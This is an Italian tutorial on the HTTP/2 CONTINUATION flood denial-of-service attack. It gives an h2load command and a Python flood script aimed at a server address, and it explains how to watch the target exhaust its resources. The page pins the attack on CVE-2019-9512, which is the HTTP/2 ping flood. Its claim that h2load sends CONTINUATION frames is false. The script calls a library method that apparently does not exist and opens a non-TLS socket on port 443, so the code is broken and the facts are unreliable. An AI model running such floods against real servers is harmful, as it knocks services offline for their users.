tags : Web_server web_server_hacking HTTP_2_Continuation_Flood_Attack DOS_Attack
L’HTTP/2 Continuation Flood Attack è un tipo di attacco Denial of Service (DoS) che sfrutta una vulnerabilità nel protocollo HTTP/2. Questo attacco è stato reso popolare da una vulnerabilità scoperta nel 2019 (CVE-2019-9512) e può essere utilizzato per esaurire le risorse del server, rendendolo incapace di gestire richieste legittime.
L’HTTP/2 Continuation Flood Attack sfrutta il modo in cui HTTP/2 gestisce i frame di continuazione (CONTINUATION frames) per esaurire le risorse del server.
Come Funziona HTTP/2 Continuation Frames:
-
In HTTP/2, gli header delle richieste possono essere suddivisi in più frame.
-
I frame di continuazione (CONTINUATION frames) vengono utilizzati per inviare parti aggiuntive degli header quando questi sono troppo grandi per essere inviati in un singolo frame.
h2load
sudo apt update
sudo apt install nghttp2-client
Usa h2load per inviare un flusso di frame di continuazione:
h2load -n 100000 -c 100 -m 100 https://indirizzo-ip-del-server
-
-n 100000: Numero totale di richieste da inviare. -
-c 100: Numero di connessioni simultanee. -
-m 100: Numero di stream (flussi) per connessione.
-
Osserva il comportamento del server:
-
Se il server è vulnerabile, potrebbe iniziare a esaurire risorse (memoria, CPU) e diventare instabile.
-
Puoi monitorare le risorse del server utilizzando strumenti come
htopotop.
-
Python
import socket
from h2.config import H2Configuration
from h2.connection import H2Connection
def send_continuation_flood(target, port):
config = H2Configuration(client_side=True)
conn = H2Connection(config=config)
sock = socket.create_connection((target, port))
conn.initiate_connection()
sock.sendall(conn.data_to_send())
headers = [
(':method', 'GET'),
(':path', '/'),
(':scheme', 'https'),
(':authority', target),
('content-type', 'application/json')
]
conn.send_headers(1, headers)
# Invia una serie di CONTINUATION Frames
for _ in range(10000): # Cambia il numero per intensità maggiore
continuation_frame = conn._build_continuation_frame(1, b"a" * 1024, end_stream=False)
sock.sendall(continuation_frame.serialize())
print("Flood completato!")
sock.close()
# Sostituisci con l'indirizzo del tuo server
send_continuation_flood("192.168.1.100", 443)